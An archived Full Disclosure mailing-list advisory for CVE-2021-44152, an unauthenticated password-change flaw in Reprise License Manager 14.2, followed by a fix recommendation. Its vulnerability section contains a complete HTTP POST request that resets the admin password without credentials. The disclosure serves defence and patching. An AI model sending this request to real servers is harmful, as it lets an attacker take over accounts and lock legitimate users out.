Full Disclosure mailing list archives
(Reprise License Manager) RLM 14.2 - Unauthenticated Password Change
From: Gionathan Reale via Fulldisclosure <fulldisclosure () seclists org>
Date: Sun, 5 Dec 2021 23:15:45 +0100 (CET)
# Product: Reprise License Manager 14.2 # Vendor: Reprise Software # CVE ID: CVE-2021-44152 # Vulnerability Title: Unauthenticated Password Change # Severity: High # Author(s): Mark Staal Steenberg, Bilal El Ghoul, Gionathan Armando Reale, Andreas Fyhn Andersen, Oliver Lind Nordestgaard # Date: 2021-11-25 ############################################################# Introduction: Because /goform/change_password_process does not verify authentication or authorization, an unauthenticated user can change the password of any existing user. This allows an attacker to change the password of any known user, thereby preventing valid users from accessing the system and granting the attacker full access to that user's account. Vulnerability: If an unauthenticated user sends the following HTTP request they can change the password of any user: POST /goform/change_password_process HTTP/1.1 Host: 127.0.0.1:5054 Content-Length: 53 pw1=passwd&pw2=passwd&user=admin&ok=CHANGE%2BPASSWORD Recommendation: Ensure that authentication is required prior to password change requests and that users cannot modify or change passwords of others users. _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Current thread:
- (Reprise License Manager) RLM 14.2 - Unauthenticated User Enumeration Gionathan Reale via Fulldisclosure (Dec 07)
- (Reprise License Manager) RLM 14.2 - Unauthenticated Password Change Gionathan Reale via Fulldisclosure (Dec 07)
- (Reprise License Manager) RLM 14.2 - Unauthenticated Session Hijacking Gionathan Reale via Fulldisclosure (Dec 07)
- (Reprise License Manager) RLM 14.2 - Authenticated Buffer Overflow Gionathan Reale via Fulldisclosure (Dec 07)
- (Reprise License Manager) RLM 14.2 - Authenticated Remote Binary Execution Gionathan Reale via Fulldisclosure (Dec 07)
- (Reprise License Manager) RLM 14.2 - Unauthenticated Password Change Gionathan Reale via Fulldisclosure (Dec 07)